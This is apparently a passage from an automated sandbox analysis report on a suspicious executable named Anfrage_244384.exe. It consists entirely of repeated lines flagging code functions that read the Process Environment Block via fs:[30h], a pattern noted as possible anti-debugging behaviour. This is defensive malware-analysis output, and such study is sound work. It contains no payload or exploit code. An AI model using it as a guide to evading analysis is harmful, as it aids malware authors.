      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347036EE mov eax, dword ptr fs:[00000030h]4_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A16CF mov eax, dword ptr fs:[00000030h]4_2_346A16CF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467B6C0 mov eax, dword ptr fs:[00000030h]4_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F6C7 mov eax, dword ptr fs:[00000030h]4_2_3472F6C7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347316CC mov eax, dword ptr fs:[00000030h]4_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347316CC mov eax, dword ptr fs:[00000030h]4_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347316CC mov eax, dword ptr fs:[00000030h]4_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347316CC mov eax, dword ptr fs:[00000030h]4_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D6AA mov eax, dword ptr fs:[00000030h]4_2_3466D6AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D6AA mov eax, dword ptr fs:[00000030h]4_2_3466D6AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346676B2 mov eax, dword ptr fs:[00000030h]4_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346676B2 mov eax, dword ptr fs:[00000030h]4_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346676B2 mov eax, dword ptr fs:[00000030h]4_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F368C mov eax, dword ptr fs:[00000030h]4_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F368C mov eax, dword ptr fs:[00000030h]4_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F368C mov eax, dword ptr fs:[00000030h]4_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F368C mov eax, dword ptr fs:[00000030h]4_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B765 mov eax, dword ptr fs:[00000030h]4_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B765 mov eax, dword ptr fs:[00000030h]4_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B765 mov eax, dword ptr fs:[00000030h]4_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B765 mov eax, dword ptr fs:[00000030h]4_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683740 mov eax, dword ptr fs:[00000030h]4_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683740 mov eax, dword ptr fs:[00000030h]4_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34683740 mov eax, dword ptr fs:[00000030h]4_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471375F mov eax, dword ptr fs:[00000030h]4_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471375F mov eax, dword ptr fs:[00000030h]4_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471375F mov eax, dword ptr fs:[00000030h]4_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471375F mov eax, dword ptr fs:[00000030h]4_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471375F mov eax, dword ptr fs:[00000030h]4_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34743749 mov eax, dword ptr fs:[00000030h]4_2_34743749
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34673720 mov eax, dword ptr fs:[00000030h]4_2_34673720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474B73C mov eax, dword ptr fs:[00000030h]4_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474B73C mov eax, dword ptr fs:[00000030h]4_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474B73C mov eax, dword ptr fs:[00000030h]4_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3474B73C mov eax, dword ptr fs:[00000030h]4_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F720 mov eax, dword ptr fs:[00000030h]4_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F720 mov eax, dword ptr fs:[00000030h]4_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468F720 mov eax, dword ptr fs:[00000030h]4_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669730 mov eax, dword ptr fs:[00000030h]4_2_34669730
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669730 mov eax, dword ptr fs:[00000030h]4_2_34669730
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473972B mov eax, dword ptr fs:[00000030h]4_2_3473972B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F72E mov eax, dword ptr fs:[00000030h]4_2_3472F72E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467973A mov eax, dword ptr fs:[00000030h]4_2_3467973A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467973A mov eax, dword ptr fs:[00000030h]4_2_3467973A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A5734 mov eax, dword ptr fs:[00000030h]4_2_346A5734
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677703 mov eax, dword ptr fs:[00000030h]4_2_34677703
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34675702 mov eax, dword ptr fs:[00000030h]4_2_34675702
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34675702 mov eax, dword ptr fs:[00000030h]4_2_34675702
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AF71F mov eax, dword ptr fs:[00000030h]4_2_346AF71F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AF71F mov eax, dword ptr fs:[00000030h]4_2_346AF71F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3467D7E0 mov ecx, dword ptr fs:[00000030h]4_2_3467D7E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346757C0 mov eax, dword ptr fs:[00000030h]4_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346757C0 mov eax, dword ptr fs:[00000030h]4_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346757C0 mov eax, dword ptr fs:[00000030h]4_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FF7AF mov eax, dword ptr fs:[00000030h]4_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FF7AF mov eax, dword ptr fs:[00000030h]4_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FF7AF mov eax, dword ptr fs:[00000030h]4_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FF7AF mov eax, dword ptr fs:[00000030h]4_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FF7AF mov eax, dword ptr fs:[00000030h]4_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347437B6 mov eax, dword ptr fs:[00000030h]4_2_347437B6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472D7B0 mov eax, dword ptr fs:[00000030h]4_2_3472D7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472D7B0 mov eax, dword ptr fs:[00000030h]4_2_3472D7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F97A9 mov eax, dword ptr fs:[00000030h]4_2_346F97A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469D7B0 mov eax, dword ptr fs:[00000030h]4_2_3469D7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F7BA mov eax, dword ptr fs:[00000030h]4_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472F78A mov eax, dword ptr fs:[00000030h]4_2_3472F78A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346F106E mov eax, dword ptr fs:[00000030h]4_2_346F106E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745060 mov eax, dword ptr fs:[00000030h]4_2_34745060
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov ecx, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34681070 mov eax, dword ptr fs:[00000030h]4_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED070 mov ecx, dword ptr fs:[00000030h]4_2_346ED070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471705E mov ebx, dword ptr fs:[00000030h]4_2_3471705E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3471705E mov eax, dword ptr fs:[00000030h]4_2_3471705E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469B052 mov eax, dword ptr fs:[00000030h]4_2_3469B052
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473903E mov eax, dword ptr fs:[00000030h]4_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473903E mov eax, dword ptr fs:[00000030h]4_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473903E mov eax, dword ptr fs:[00000030h]4_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473903E mov eax, dword ptr fs:[00000030h]4_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346950E4 mov eax, dword ptr fs:[00000030h]4_2_346950E4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346950E4 mov ecx, dword ptr fs:[00000030h]4_2_346950E4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov ecx, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov ecx, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov ecx, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov ecx, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346870C0 mov eax, dword ptr fs:[00000030h]4_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347450D9 mov eax, dword ptr fs:[00000030h]4_2_347450D9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED0C0 mov eax, dword ptr fs:[00000030h]4_2_346ED0C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346ED0C0 mov eax, dword ptr fs:[00000030h]4_2_346ED0C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346990DB mov eax, dword ptr fs:[00000030h]4_2_346990DB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466D08D mov eax, dword ptr fs:[00000030h]4_2_3466D08D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FD080 mov eax, dword ptr fs:[00000030h]4_2_346FD080
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FD080 mov eax, dword ptr fs:[00000030h]4_2_346FD080
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34675096 mov eax, dword ptr fs:[00000030h]4_2_34675096
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A909C mov eax, dword ptr fs:[00000030h]4_2_346A909C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469D090 mov eax, dword ptr fs:[00000030h]4_2_3469D090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3469D090 mov eax, dword ptr fs:[00000030h]4_2_3469D090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34709179 mov eax, dword ptr fs:[00000030h]4_2_34709179
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466F172 mov eax, dword ptr fs:[00000030h]4_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34745152 mov eax, dword ptr fs:[00000030h]4_2_34745152
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669148 mov eax, dword ptr fs:[00000030h]4_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669148 mov eax, dword ptr fs:[00000030h]4_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669148 mov eax, dword ptr fs:[00000030h]4_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669148 mov eax, dword ptr fs:[00000030h]4_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34703140 mov eax, dword ptr fs:[00000030h]4_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34703140 mov eax, dword ptr fs:[00000030h]4_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34703140 mov eax, dword ptr fs:[00000030h]4_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34677152 mov eax, dword ptr fs:[00000030h]4_2_34677152
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B136 mov eax, dword ptr fs:[00000030h]4_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B136 mov eax, dword ptr fs:[00000030h]4_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B136 mov eax, dword ptr fs:[00000030h]4_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3466B136 mov eax, dword ptr fs:[00000030h]4_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34747120 mov eax, dword ptr fs:[00000030h]4_2_34747120
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671131 mov eax, dword ptr fs:[00000030h]4_2_34671131
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34671131 mov eax, dword ptr fs:[00000030h]4_2_34671131
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346951EF mov eax, dword ptr fs:[00000030h]4_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347171F9 mov esi, dword ptr fs:[00000030h]4_2_347171F9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346751ED mov eax, dword ptr fs:[00000030h]4_2_346751ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347431E1 mov eax, dword ptr fs:[00000030h]4_2_347431E1
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AD1D0 mov eax, dword ptr fs:[00000030h]4_2_346AD1D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346AD1D0 mov ecx, dword ptr fs:[00000030h]4_2_346AD1D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347451CB mov eax, dword ptr fs:[00000030h]4_2_347451CB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347211A4 mov eax, dword ptr fs:[00000030h]4_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347211A4 mov eax, dword ptr fs:[00000030h]4_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347211A4 mov eax, dword ptr fs:[00000030h]4_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_347211A4 mov eax, dword ptr fs:[00000030h]4_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3468B1B0 mov eax, dword ptr fs:[00000030h]4_2_3468B1B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34725180 mov eax, dword ptr fs:[00000030h]4_2_34725180
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34725180 mov eax, dword ptr fs:[00000030h]4_2_34725180
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346C7190 mov eax, dword ptr fs:[00000030h]4_2_346C7190
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473D26B mov eax, dword ptr fs:[00000030h]4_2_3473D26B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3473D26B mov eax, dword ptr fs:[00000030h]4_2_3473D26B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B1270 mov eax, dword ptr fs:[00000030h]4_2_346B1270
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346B1270 mov eax, dword ptr fs:[00000030h]4_2_346B1270
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34699274 mov eax, dword ptr fs:[00000030h]4_2_34699274
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472B256 mov eax, dword ptr fs:[00000030h]4_2_3472B256
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_3472B256 mov eax, dword ptr fs:[00000030h]4_2_3472B256
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669240 mov eax, dword ptr fs:[00000030h]4_2_34669240
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_34669240 mov eax, dword ptr fs:[00000030h]4_2_34669240
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346A724D mov eax, dword ptr fs:[00000030h]4_2_346A724D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 4_2_346FD250 mov ecx, dword ptr fs:[00000030h]4_2_346FD250
